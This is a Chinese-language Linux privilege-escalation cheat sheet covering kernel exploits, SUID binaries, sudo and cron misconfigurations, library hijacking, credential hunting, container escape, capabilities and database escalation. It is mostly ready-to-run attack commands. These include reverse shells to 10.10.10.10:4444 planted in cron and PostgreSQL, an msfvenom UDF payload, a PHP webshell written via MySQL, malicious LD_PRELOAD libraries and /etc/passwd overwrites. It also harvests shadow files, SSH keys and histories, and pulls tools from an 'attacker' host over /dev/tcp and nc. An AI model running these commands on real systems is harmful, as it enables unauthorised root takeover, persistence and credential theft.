1. 内核漏洞提权
💡 原理介绍
内核漏洞提权是利用Linux内核本身存在的安全漏洞,通过编译或运行针对特定内核版本的exploit代码,直接提升至root权限。常见的内核漏洞包括本地权限提升、条件竞争、缓冲区溢出等。
🔍 检测方法
|---|-----------------------------------------------------------------------------------------------------------------|
| | # 获取内核版本信息 |
| | uname -a |
| | uname -r |
| | cat /proc/version |
| | cat /etc/issue |
| | cat /etc/*-release |
| | |
| | # 查看系统架构 |
| | uname -m |
| | |
| | # 使用自动化工具检测 |
| | # Linux Exploit Suggester |
| | wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh |
| | chmod +x linux-exploit-suggester.sh |
| | ./linux-exploit-suggester.sh |
| | |
| | # linux-exploit-suggester-2 |
| | wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl |
| | perl linux-exploit-suggester-2.pl |
| | |
| | #综合脚本 |
| | https://github.com/peass-ng/PEASS-ng |
⚔️ 常见内核漏洞
| 漏洞名称 | CVE编号 | 影响版本 | 描述 |
|---|---|---|---|
| Dirty COW | CVE-2016-5195 | 2.x - 4.8.3 | 竞态条件导致的写时复制漏洞 |
| Dirty Pipe | CVE-2022-0847 | 5.8 - 5.16.11 | 管道缓冲区覆盖漏洞 |
| PwnKit | CVE-2021-4034 | pkexec | polkit的pkexec本地提权 |
| Baron Samedit | CVE-2021-3156 | sudo < 1.9.5p2 | sudo堆溢出漏洞 |
| DirtyCred | CVE-2022-2588 | 5.8 - 5.19.x | 内核凭证覆盖漏洞 |
🎯 利用方式
Dirty COW示例:
|---|----------------------------------------------------------------|
| | # 下载exploit |
| | wget https://github.com/firefart/dirtycow/raw/master/dirty.c |
| | gcc -pthread dirty.c -o dirty -lcrypt |
| | |
| | # 执行提权(会创建新的root用户firefart) |
| | ./dirty yourpassword |
| | |
| | # 使用新密码登录 |
| | su firefart |
PwnKit提权(CVE-2021-4034):
|---|-----------------------------------------------------|
| | # 下载exploit |
| | git clone https://github.com/berdav/CVE-2021-4034 |
| | cd CVE-2021-4034 |
| | make |
| | |
| | # 执行 |
| | ./cve-2021-4034 |
| | # 获得root shell |
⚠️ 注意事项
- 内核exploit可能导致系统崩溃,生产环境慎用
- 编译时需要gcc和内核头文件
- 注意目标系统架构(x86/x64/ARM)匹配
2. SUID/SGID提权
💡 原理介绍
SUID(Set User ID)和SGID(Set Group ID)是Linux的特殊权限位。当一个可执行文件设置了SUID位,任何用户执行该文件时都会以文件所有者的权限运行。如果一个root拥有的程序设置了SUID位且存在安全问题,普通用户就可能利用它提权到root。
🔍 检测方法
|---|---------------------------------------------|
| | # 查找所有SUID文件 |
| | find / -perm -u=s -type f 2>/dev/null |
| | find / -perm -4000 -type f 2>/dev/null |
| | |
| | # 查找SGID文件 |
| | find / -perm -g=s -type f 2>/dev/null |
| | find / -perm -2000 -type f 2>/dev/null |
| | |
| | # 查找既有SUID又有SGID的文件 |
| | find / -perm -6000 -type f 2>/dev/null |
| | |
| | # 更详细的信息 |
| | find / -perm -u=s -type f -ls 2>/dev/null |
⚔️ 常见可利用的SUID程序
1. find命令:
|---|--------------------------------------|
| | # 检查find是否有SUID |
| | find /usr/bin/find -perm -4000 |
| | |
| | # 利用方式 |
| | find . -exec /bin/sh -p \; -quit |
| | # 或 |
| | find . -exec /bin/bash -p \; -quit |
2. vim/vi编辑器:
|---|----------------------------------|
| | # 检查vim |
| | find /usr/bin/vim* -perm -4000 |
| | |
| | # 利用方式 |
| | vim -c ':!sh' |
| | # 或进入vim后执行 |
| | :set shell=/bin/sh |
| | :shell |
3. nmap(老版本 2.02-5.21):
|---|-----------------------------|
| | nmap --interactive |
| | !sh |
| | # 或 |
| | nmap --script=exploit.nse |
4. bash:
|---|-----------------|
| | # 如果bash有SUID |
| | bash -p |
| | # -p参数保持特权模式 |
5. cp命令:
|---|------------------------------------------------------------------------------|
| | # 利用cp覆盖/etc/passwd |
| | # 生成密码哈希 |
| | openssl passwd -1 -salt hack password123 |
| | # 输出: $1$hack$xxxxxxxxxxxxx |
| | |
| | # 创建恶意passwd文件 |
| | echo 'hacker:$1$hack$xxxxxxxxxxxxx:0:0:root:/root:/bin/bash' > /tmp/passwd |
| | |
| | # 覆盖系统文件 |
| | cp /tmp/passwd /etc/passwd |
| | |
| | # 登录 |
| | su hacker |
6. python/perl/ruby:
|---|---------------------------------------------------------------|
| | # python |
| | python -c 'import os; os.setuid(0); os.system("/bin/bash")' |
| | |
| | # perl |
| | perl -e 'exec "/bin/sh";' |
| | |
| | # ruby |
| | ruby -e 'exec "/bin/sh"' |
7. less/more:
|---|--------------------|
| | less /etc/passwd |
| | # 在less中执行 |
| | !bash |
8. tar:
|---|-------------------------------------------------------------------------------|
| | tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
🎯 GTFOBins查询
访问 GTFOBins 查询更多SUID可利用程序的方法。
3. Sudo配置不当提权
💡 原理介绍
Sudo允许系统管理员授予普通用户执行特定命令的root权限。配置不当的sudo规则可能被滥用来提权,包括不安全的NOPASSWD配置、通配符使用、环境变量保留等。
🔍 检测方法
|---|----------------------------------------------------------------|
| | # 查看当前用户的sudo权限 |
| | sudo -l |
| | |
| | # 示例输出: |
| | # User www-data may run the following commands on webserver: |
| | # (ALL) NOPASSWD: /usr/bin/find |
| | # (root) /usr/bin/vim |
⚔️ 常见利用场景
1. NOPASSWD配置:
|---|--------------------------------------|
| | # 如果sudo -l显示: |
| | # (ALL) NOPASSWD: /usr/bin/find |
| | |
| | # 利用方式 |
| | sudo find . -exec /bin/sh \; -quit |
2. 通配符利用:
|---|-------------------------------------------------------------------------------------|
| | # 配置:(ALL) /bin/tar -czf /backup/*.tar.gz * |
| | |
| | # 创建恶意文件名 |
| | echo "" > "--checkpoint=1" |
| | echo "" > "--checkpoint-action=exec=sh shell.sh" |
| | echo "#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash" > shell.sh |
| | |
| | # 执行 |
| | sudo /bin/tar -czf /backup/backup.tar.gz * |
| | /tmp/rootbash -p |
3. LD_PRELOAD环境变量:
|---|-------------------------------------------------------|
| | # sudo -l显示: |
| | # env_keep+=LD_PRELOAD |
| | |
| | # 创建恶意共享库 |
| | cat > shell.c << EOF |
| | #include <stdio.h> |
| | #include <sys/types.h> |
| | #include <stdlib.h> |
| | |
| | void _init() { |
| | unsetenv("LD_PRELOAD"); |
| | setuid(0); |
| | setgid(0); |
| | system("/bin/bash"); |
| | } |
| | EOF |
| | |
| | # 编译 |
| | gcc -fPIC -shared -o shell.so shell.c -nostartfiles |
| | |
| | # 利用 |
| | sudo LD_PRELOAD=/tmp/shell.so find |
4. LD_LIBRARY_PATH劫持:
|---|---------------------------------------------|
| | # 检查可sudo的程序依赖 |
| | ldd /usr/bin/program |
| | |
| | # 创建恶意库替换 |
| | gcc -o library.so -shared -fPIC library.c |
| | sudo LD_LIBRARY_PATH=/tmp program |
5. Sudo版本漏洞(CVE-2019-14287):
|---|---------------------------------|
| | # 适用于 sudo < 1.8.28 |
| | # 配置:(ALL, !root) /usr/bin/vi |
| | |
| | # 利用(使用用户ID -1绕过限制) |
| | sudo -u#-1 /usr/bin/vi |
| | # 在vi中执行 |
| | :!sh |
🎯 sudo提权检查清单
- 检查NOPASSWD配置
- 查找通配符使用
- 检查env_keep变量
- 确认sudo版本
- 查询GTFOBins中可sudo程序的利用方法
4. 计划任务提权
💡 原理介绍
Cron是Linux的定时任务调度系统。如果以root权限运行的计划任务脚本存在安全问题(如可写、通配符注入、PATH劫持),普通用户就可以通过修改脚本或相关文件来执行任意root命令。
🔍 检测方法
|---|-------------------------------------------------------------------------------|
| | # 查看系统级cron任务 |
| | cat /etc/crontab |
| | ls -la /etc/cron.d/ |
| | ls -la /etc/cron.daily/ |
| | ls -la /etc/cron.hourly/ |
| | ls -la /etc/cron.monthly/ |
| | ls -la /etc/cron.weekly/ |
| | |
| | # 查看用户级cron任务 |
| | crontab -l |
| | cat /var/spool/cron/crontabs/* |
| | |
| | # 查看systemd定时器 |
| | systemctl list-timers --all |
| | |
| | # 查找可写的cron脚本 |
| | find /etc/cron* -type f -perm -o+w |
| | |
| | # 监控进程(检测周期性执行的任务) |
| | # 安装pspy |
| | wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 |
| | chmod +x pspy64 |
| | ./pspy64 |
⚔️ 利用方式
1. 可写的Cron脚本:
|---|--------------------------------------------------------------------------------------|
| | # 假设发现/etc/cron.d/backup.sh由root运行且可写 |
| | ls -la /etc/cron.d/backup.sh |
| | # -rwxrwxrwx 1 root root ... |
| | |
| | # 添加反向shell |
| | echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /etc/cron.d/backup.sh |
| | |
| | # 或创建SUID bash |
| | echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/cron.d/backup.sh |
| | |
| | # 等待cron执行后 |
| | /tmp/rootbash -p |
2. PATH环境变量劫持:
|---|-----------------------------------------------------------------------|
| | # /etc/crontab内容: |
| | # * * * * * root /usr/local/bin/backup.sh |
| | # PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin |
| | |
| | # 如果backup.sh中使用了相对路径命令,如: |
| | # #!/bin/bash |
| | # tar -czf /backup/backup.tar.gz /data |
| | |
| | # 创建恶意tar |
| | cat > /tmp/tar << EOF |
| | #!/bin/bash |
| | cp /bin/bash /tmp/rootbash |
| | chmod +s /tmp/rootbash |
| | EOF |
| | chmod +x /tmp/tar |
| | |
| | # 修改PATH(如果可以修改crontab) |
| | # 或利用脚本中的其他弱点 |
3. 通配符注入:
|---|----------------------------------------------------|
| | # cron脚本内容: |
| | # #!/bin/bash |
| | # cd /home/user |
| | # tar -czf /backup/backup.tar.gz * |
| | |
| | # 利用tar的checkpoint参数 |
| | cd /home/user |
| | echo "" > "--checkpoint=1" |
| | echo "" > "--checkpoint-action=exec=sh shell.sh" |
| | cat > shell.sh << EOF |
| | #!/bin/bash |
| | cp /bin/bash /tmp/rootbash |
| | chmod +s /tmp/rootbash |
| | EOF |
| | chmod +x shell.sh |
| | |
| | # 等待cron执行 |
4. Cron覆盖写入:
|---|--------------------------------------------------------------------------------------------------|
| | # 如果/etc/crontab可写 |
| | echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/crontab |
5. 环境变量劫持
💡 原理介绍
当程序在执行时使用相对路径调用其他命令,而没有指定完整路径时,系统会按照PATH环境变量的顺序查找可执行文件。攻击者可以通过修改PATH变量或在PATH靠前的目录中放置恶意程序来劫持命令执行。
🔍 检测方法
|---|--------------------------------------------------------------------|
| | # 查看当前PATH |
| | echo $PATH |
| | |
| | # 检查SUID程序使用的命令 |
| | strings /usr/local/bin/suid_program | grep -E "^[a-z]+" |
| | |
| | # 使用strace跟踪 |
| | strace -f -e execve /usr/local/bin/suid_program 2>&1 | grep exec |
| | |
| | # 检查程序依赖 |
| | ldd /usr/local/bin/suid_program |
⚔️ 利用方式
1. PATH劫持SUID程序:
|---|--------------------------------------------|
| | # 假设发现SUID程序/usr/local/bin/service_start |
| | # 它调用了systemctl但使用相对路径 |
| | |
| | # 创建恶意systemctl |
| | cat > /tmp/systemctl << EOF |
| | #!/bin/bash |
| | cp /bin/bash /tmp/rootbash |
| | chmod +s /tmp/rootbash |
| | EOF |
| | chmod +x /tmp/systemctl |
| | |
| | # 修改PATH并执行 |
| | export PATH=/tmp:$PATH |
| | /usr/local/bin/service_start |
| | |
| | # 执行SUID bash |
| | /tmp/rootbash -p |
2. 共享库劫持:
|---|-------------------------------------------------------|
| | # 检查程序使用的库 |
| | ldd /usr/local/bin/program |
| | # linux-vdso.so.1 |
| | # libcustom.so => /usr/local/lib/libcustom.so |
| | |
| | # 创建恶意库 |
| | cat > evil.c << EOF |
| | #include <stdio.h> |
| | #include <stdlib.h> |
| | |
| | static void inject() __attribute__((constructor)); |
| | |
| | void inject() { |
| | setuid(0); |
| | system("/bin/bash -p"); |
| | } |
| | EOF |
| | |
| | gcc -shared -fPIC evil.c -o /tmp/libcustom.so |
| | |
| | # 使用LD_PRELOAD或LD_LIBRARY_PATH |
| | LD_PRELOAD=/tmp/libcustom.so /usr/local/bin/program |
3. Python库劫持:
|---|-------------------------------------------------------------------|
| | # 假设root运行的Python脚本: |
| | # import custom_module |
| | |
| | # 查找Python路径 |
| | python -c "import sys; print('\n'.join(sys.path))" |
| | |
| | # 在靠前的路径创建恶意模块 |
| | cat > /tmp/custom_module.py << EOF |
| | import os |
| | os.system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash') |
| | EOF |
| | |
| | # 修改PYTHONPATH |
| | export PYTHONPATH=/tmp:$PYTHONPATH |
6. 密码信息泄露
💡 原理介绍
在Linux系统中,密码和敏感信息可能以明文或可破解的形式存储在配置文件、历史记录、备份文件、数据库等位置。发现这些泄露的凭据可以直接用于横向移动或提权。
🔍 检测方法
|---|--------------------------------------------------------------------------|
| | # 1. 搜索配置文件 |
| | grep -r "password" /etc/ 2>/dev/null |
| | grep -r "passwd" /etc/ 2>/dev/null |
| | grep -ri "pwd" /etc/ 2>/dev/null |
| | find /etc/ -name "*.conf" -exec grep -i "pass" {} \; 2>/dev/null |
| | |
| | # 2. 搜索用户目录 |
| | grep -r "password" /home/ 2>/dev/null |
| | grep -r "password" /root/ 2>/dev/null |
| | find /home -name "*.txt" -o -name "*.xml" -o -name "*.ini" 2>/dev/null |
| | |
| | # 3. 历史命令 |
| | cat ~/.bash_history |
| | cat ~/.zsh_history |
| | cat ~/.mysql_history |
| | cat ~/.psql_history |
| | cat ~/.*history |
| | |
| | # 4. 数据库配置文件 |
| | cat /var/www/html/config.php |
| | cat /var/www/html/wp-config.php |
| | cat /var/www/html/configuration.php |
| | find / -name "config.php" 2>/dev/null |
| | find / -name "database.yml" 2>/dev/null |
| | |
| | # 5. 备份文件 |
| | find / -name "*.bak" 2>/dev/null |
| | find / -name "*backup*" 2>/dev/null |
| | find / -name "*.old" 2>/dev/null |
| | find / -name "*.save" 2>/dev/null |
| | |
| | # 6. SSH密钥 |
| | find / -name "id_rsa" 2>/dev/null |
| | find / -name "id_dsa" 2>/dev/null |
| | find / -name "authorized_keys" 2>/dev/null |
| | ls -la ~/.ssh/ |
| | |
| | # 7. 内存dump |
| | strings /dev/mem | grep -i "password" |
| | cat /proc/*/environ | tr '\0' '\n' | grep -i "pass" |
| | |
| | # 8. 日志文件 |
| | grep -r "password" /var/log/ 2>/dev/null |
| | |
| | # 9. Git仓库 |
| | find / -name ".git" 2>/dev/null |
| | # 查看git历史中的敏感信息 |
| | |
| | # 10. 环境变量 |
| | env | grep -i "pass" |
| | cat /proc/self/environ |
⚔️ 利用方式
1. 发现数据库密码:
|---|--------------------------------------|
| | # 找到MySQL密码 |
| | cat /var/www/html/config.php |
| | # $db_password = "SuperSecret123"; |
| | |
| | # 登录数据库 |
| | mysql -u root -p'SuperSecret123' |
| | |
| | # 尝试用相同密码登录系统 |
| | su root |
| | # 密码: SuperSecret123 |
2. SSH密钥利用:
|---|--------------------------------------|
| | # 发现root的私钥 |
| | find / -name "id_rsa" 2>/dev/null |
| | # /home/user/.ssh/id_rsa |
| | |
| | # 复制密钥 |
| | cp /home/user/.ssh/id_rsa /tmp/key |
| | chmod 600 /tmp/key |
| | |
| | # SSH登录 |
| | ssh -i /tmp/key root@localhost |
3. 破解/etc/shadow:
|---|--------------------------------------------------------------|
| | # 如果有shadow文件读权限 |
| | cat /etc/shadow |
| | |
| | # 提取哈希 |
| | grep root /etc/shadow > /tmp/hash |
| | |
| | # 使用John the Ripper破解 |
| | john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash |
| | |
| | # 或使用hashcat |
| | hashcat -m 1800 /tmp/hash /usr/share/wordlists/rockyou.txt |
4. 重用找到的密码:
|---|---------------|
| | # 尝试su到其他用户 |
| | su - admin |
| | su - root |
| | su - mysql |
| | |
| | # 尝试sudo |
| | sudo -i |
7. 容器逃逸
💡 原理介绍
容器逃逸是指从Docker、LXC、LXD等容器环境中突破隔离限制,获取宿主机的控制权。常见原因包括:特权容器、不安全的挂载、内核漏洞、Docker Socket暴露等。
🔍 检测方法
|---|-----------------------------------------------------------------------------------------|
| | # 检查是否在容器中 |
| | cat /proc/1/cgroup | grep -i "docker\|lxc" |
| | ls -la /.dockerenv |
| | cat /proc/self/mountinfo | grep docker |
| | |
| | # 检查容器权限 |
| | capsh --print |
| | cat /proc/self/status | grep Cap |
| | |
| | # 检查挂载点 |
| | mount | grep -i "docker\|lxc" |
| | df -h |
| | |
| | # 检查Docker socket |
| | ls -la /var/run/docker.sock |
| | |
| | # 检查是否为特权容器 |
| | grep -i "privileged" /proc/self/status |
| | ip link add dummy0 type dummy 2>/dev/null && echo "Privileged" || echo "Unprivileged" |
⚔️ Docker逃逸方法
1. 特权容器 + /dev挂载:
|---|------------------------------------------------------------------------------------------------------|
| | # 检查是否为特权容器 |
| | fdisk -l |
| | # 如果能看到宿主机磁盘设备,则为特权容器 |
| | |
| | # 挂载宿主机文件系统 |
| | mkdir /mnt/host |
| | mount /dev/sda1 /mnt/host |
| | |
| | # 写入SSH密钥 |
| | mkdir /mnt/host/root/.ssh |
| | cat /root/.ssh/id_rsa.pub >> /mnt/host/root/.ssh/authorized_keys |
| | |
| | # 或修改cron |
| | echo '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /mnt/host/etc/crontab |
| | |
| | # 或替换passwd |
| | cat /mnt/host/etc/passwd |
2. Docker Socket暴露:
|---|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| | # 检查docker.sock |
| | ls -la /var/run/docker.sock |
| | |
| | # 使用docker命令(如果有) |
| | docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
| | |
| | # 或使用curl操作Docker API |
| | curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"]}' -H 'Content-Type: application/json' http://localhost/containers/create |
| | |
| | # 启动容器 |
| | curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/CONTAINER_ID/start |
3. CVE-2019-5736 (runc逃逸):
|---|-------------------------------------------------------------|
| | # 下载exploit |
| | git clone https://github.com/Frichetten/CVE-2019-5736-PoC |
| | cd CVE-2019-5736-PoC |
| | |
| | # 编译 |
| | go build main.go |
| | |
| | # 在容器内执行 |
| | ./main |
| | |
| | # 从宿主机执行docker exec触发 |
| | docker exec <container> /bin/bash |
⚔️ LXD/LXC逃逸方法
LXD组成员提权:
|---|-------------------------------------------------------------------------------------|
| | # 检查是否在lxd组 |
| | id |
| | groups |
| | |
| | # 方法1: 使用Alpine镜像 |
| | # 在攻击机上构建镜像 |
| | git clone https://github.com/saghul/lxd-alpine-builder |
| | cd lxd-alpine-builder |
| | ./build-alpine |
| | |
| | # 传输到目标机器 |
| | python3 -m http.server 8000 |
| | |
| | # 在目标机器上 |
| | wget http://attacker:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz |
| | |
| | # 导入镜像 |
| | lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage |
| | |
| | # 创建特权容器 |
| | lxc init myimage ignite -c security.privileged=true |
| | |
| | # 挂载宿主机根目录 |
| | lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true |
| | |
| | # 启动容器 |
| | lxc start ignite |
| | |
| | # 进入容器 |
| | lxc exec ignite /bin/sh |
| | |
| | # 访问宿主机文件 |
| | cd /mnt/root |
8. Capabilities提权
💡 原理介绍
Linux Capabilities将root权限细分为多个独立的能力单元,允许给普通程序赋予特定的特权能力而不需要完整的root权限。如果某些危险的capabilities被不当分配,可能导致提权。
🔍 检测方法
|---|----------------------------------------|
| | # 查找所有具有capabilities的文件 |
| | getcap -r / 2>/dev/null |
| | |
| | # 常见输出示例: |
| | # /usr/bin/python3.8 = cap_setuid+ep |
| | # /usr/bin/ping = cap_net_raw+ep |
| | # /usr/bin/vim = cap_dac_override+ep |
| | |
| | # 查看当前进程的capabilities |
| | cat /proc/self/status | grep Cap |
| | capsh --print |
⚔️ 危险的Capabilities
| Capability | 描述 | 提权方式 |
|---|---|---|
| cap_setuid | 允许设置进程UID | 直接setuid(0)获取root |
| cap_dac_override | 绕过文件读写执行权限检查 | 读写任意文件 |
| cap_dac_read_search | 绕过文件读和目录读权限 | 读取敏感文件 |
| cap_sys_admin | 多种管理权限 | 挂载文件系统等 |
| cap_sys_ptrace | 允许跟踪任意进程 | 注入root进程 |
| cap_sys_module | 加载内核模块 | 加载恶意内核模块 |
⚔️ 利用方式
1. cap_setuid (Python示例):
|---|---------------------------------------------------------------------------|
| | # 检查 |
| | getcap /usr/bin/python3.8 |
| | # /usr/bin/python3.8 = cap_setuid+ep |
| | |
| | # 利用 |
| | /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
2. cap_setuid (Perl示例):
|---|---------------------------------------------------------------------|
| | getcap /usr/bin/perl |
| | # /usr/bin/perl = cap_setuid+ep |
| | |
| | /usr/bin/perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";' |
3. cap_dac_override (vim/vi示例):
|---|--------------------------------------------|
| | getcap /usr/bin/vim |
| | # /usr/bin/vim = cap_dac_override+ep |
| | |
| | # 可以编辑任意文件,包括/etc/passwd, /etc/shadow |
| | vim /etc/passwd |
| | # 添加用户:hacker:x:0:0:root:/root:/bin/bash |
| | |
| | vim /etc/shadow |
| | # 添加密码哈希 |
4. cap_dac_read_search (tar示例):
|---|-------------------------------------------|
| | getcap /usr/bin/tar |
| | # /usr/bin/tar = cap_dac_read_search+ep |
| | |
| | # 读取任意文件 |
| | tar -czf /tmp/shadow.tar.gz /etc/shadow |
| | tar -xzf /tmp/shadow.tar.gz |
| | cat etc/shadow |
5. cap_sys_admin (Python示例):
|---|------------------------------------------|
| | # 挂载宿主机根目录(容器环境) |
| | python3 -c ' |
| | import os |
| | os.system("mkdir /mnt/host") |
| | os.system("mount /dev/sda1 /mnt/host") |
| | ' |
6. cap_sys_ptrace:
|---|-------------------------------|
| | # 注入到root进程 |
| | # 编写shellcode注入工具 |
| | gcc -o inject inject.c |
| | ./inject <root_process_pid> |
9. 数据库高权限提权
💡 原理介绍
当获取到数据库的高权限账户(如MySQL的root、PostgreSQL的postgres),可以利用数据库的特性执行系统命令或写入文件,进而提升Linux系统权限。
🔍 检测方法
|---|------------------------------------------------------------------------------------------|
| | # 查找数据库配置文件 |
| | find / -name "config.php" -o -name "wp-config.php" -o -name "database.yml" 2>/dev/null |
| | |
| | # 检查数据库服务 |
| | ps aux | grep -i "mysql\|postgres\|mariadb" |
| | netstat -tlnp | grep -i "3306\|5432" |
| | |
| | # 尝试免密登录 |
| | mysql -u root |
| | psql -U postgres |
⚔️ MySQL提权方法
1. UDF(User Defined Function)提权:
|---|------------------------------------------------------------------------------------------------------------------|
| | # 登录MySQL |
| | mysql -u root -p |
| | |
| | # 检查plugin目录 |
| | show variables like '%plugin%'; |
| | # plugin_dir: /usr/lib/mysql/plugin/ |
| | |
| | # 检查secure_file_priv(必须为空或包含plugin目录) |
| | show variables like '%secure_file_priv%'; |
| | |
| | # 使用MSF生成UDF库 |
| | msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf-so -o udf.so |
| | |
| | # 或使用预编译的lib_mysqludf_sys |
| | wget https://github.com/mysqludf/lib_mysqludf_sys/releases/download/lib_mysqludf_sys-1.0.0/lib_mysqludf_sys.so |
| | |
| | # 在MySQL中创建函数 |
| | use mysql; |
| | create table foo(line blob); |
| | insert into foo values(load_file('/tmp/udf.so')); |
| | select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so'; |
| | |
| | # 创建执行系统命令的函数 |
| | create function sys_exec returns integer soname 'udf.so'; |
| | |
| | # 执行命令 |
| | select sys_exec('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'); |
2. INTO OUTFILE写Webshell:
|---|-----------------------------------------------------------------------------------|
| | -- 检查写入权限 |
| | show variables like '%secure_file_priv%'; |
| | |
| | -- 写入Webshell |
| | select '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/shell.php'; |
| | |
| | -- 访问 |
| | -- http://target/shell.php?cmd=whoami |
3. 写入SSH密钥:
|---|-------------------------------------------------------------------------|
| | -- 读取公钥 |
| | select load_file('/home/attacker/.ssh/id_rsa.pub'); |
| | |
| | -- 写入authorized_keys |
| | select 'ssh-rsa AAAAB3...' into outfile '/root/.ssh/authorized_keys'; |
4. 写入Cron任务:
|---|----------------------------------------------------------------------------------------------------------------|
| | select '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' into outfile '/etc/cron.d/evil'; |
⚔️ PostgreSQL提权方法
1. COPY TO/FROM PROGRAM(9.3+):
|---|--------------------------------------------------------------------------------------|
| | -- 需要superuser权限 |
| | -- 执行系统命令 |
| | DROP TABLE IF EXISTS cmd_exec; |
| | CREATE TABLE cmd_exec(cmd_output text); |
| | |
| | -- 写入SUID bash |
| | COPY cmd_exec FROM PROGRAM 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'; |
| | |
| | -- 反向shell |
| | COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"'; |
2. Large Objects写文件:
|---|----------------------------------------------------------|
| | -- 创建Large Object |
| | SELECT lo_creat(-1); |
| | -- 返回OID: 12345 |
| | |
| | -- 写入数据 |
| | SELECT lo_put(12345, 0, decode('3c3f7068...', 'hex')); |
| | |
| | -- 导出文件 |
| | \lo_export 12345 '/var/www/html/shell.php' |
3. CVE-2019-9193(PostgreSQL 9.3-11.2):
|---|--------------------------------------------------------------------------------------|
| | -- COPY TO/FROM PROGRAM提权 |
| | COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"'; |
⚔️ MongoDB提权
1. NoSQL注入后命令执行:
|---|----------------------------------------------------------------------------------|
| | // 如果有eval权限 |
| | db.eval('os.execute("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")'); |
| | |
| | // 或写文件 |
| | db.eval('os.execute("echo attacker_ssh_key >> /root/.ssh/authorized_keys")'); |
10. 提权工具集
🔧 自动化枚举工具
LinPEAS(推荐):
|---|------------------------------------------------------------------------------------|
| | # 下载 |
| | wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh |
| | chmod +x linpeas.sh |
| | |
| | # 执行 |
| | ./linpeas.sh |
| | |
| | # 输出到文件 |
| | ./linpeas.sh -a > /tmp/linpeas_output.txt |
| | |
| | # 快速模式 |
| | ./linpeas.sh -s |
LinEnum:
|---|-------------------------------------------------------------------------------|
| | wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh |
| | chmod +x LinEnum.sh |
| | ./LinEnum.sh -t |
Linux Smart Enumeration (lse.sh):
|---|-------------------------------------------------------------------------------------------------|
| | wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh |
| | chmod +x lse.sh |
| | |
| | # 0级(快速) |
| | ./lse.sh -l 0 |
| | |
| | # 2级(详细) |
| | ./lse.sh -l 2 |
Unix-Privesc-Check:
|---|-----------------------------------------------------------------------------------------------------|
| | wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/unix-privesc-check |
| | chmod +x unix-privesc-check |
| | ./unix-privesc-check standard |
🔧 漏洞利用建议工具
Linux Exploit Suggester:
|---|----------------------------------------------------------------------------------------------------------|
| | wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh |
| | chmod +x linux-exploit-suggester.sh |
| | ./linux-exploit-suggester.sh |
linux-exploit-suggester-2:
|---|-----------------------------------------------------------------------------------------------------------------|
| | wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl |
| | perl linux-exploit-suggester-2.pl |
🔧 专项工具
pspy - 进程监控:
|---|-------------------------------------------------------------------------------|
| | wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 |
| | chmod +x pspy64 |
| | ./pspy64 |
GTFOBins - SUID/Sudo/Capabilities查询:
- 网站: https://gtfobins.github.io/
- 离线版:
git clone https://github.com/GTFOBins/GTFOBins.github.io.git
PayloadsAllTheThings:
|---|----------------------------------------------------------------------------------------|
| | git clone https://github.com/swisskyrepo/PayloadsAllTheThings |
| | cd PayloadsAllTheThings/Methodology\ and\ Resources/Linux\ -\ Privilege\ Escalation/ |
🔧 传输文件方法
|---|------------------------------------------------------------------------------------------------------------------------------------|
| | # 在攻击机启动HTTP服务器 |
| | python3 -m http.server 8000 |
| | python2 -m SimpleHTTPServer 8000 |
| | |
| | # 在目标机下载 |
| | wget http://attacker:8000/linpeas.sh |
| | curl http://attacker:8000/linpeas.sh -o linpeas.sh |
| | |
| | # 无wget/curl时 |
| | bash -c 'exec 3<>/dev/tcp/attacker/8000; echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: attacker\r\n\r\n" >&3; cat <&3' > linpeas.sh |
| | |
| | # 使用nc |
| | # 攻击机 |
| | nc -lvnp 4444 < linpeas.sh |
| | # 目标机 |
| | nc attacker 4444 > linpeas.sh |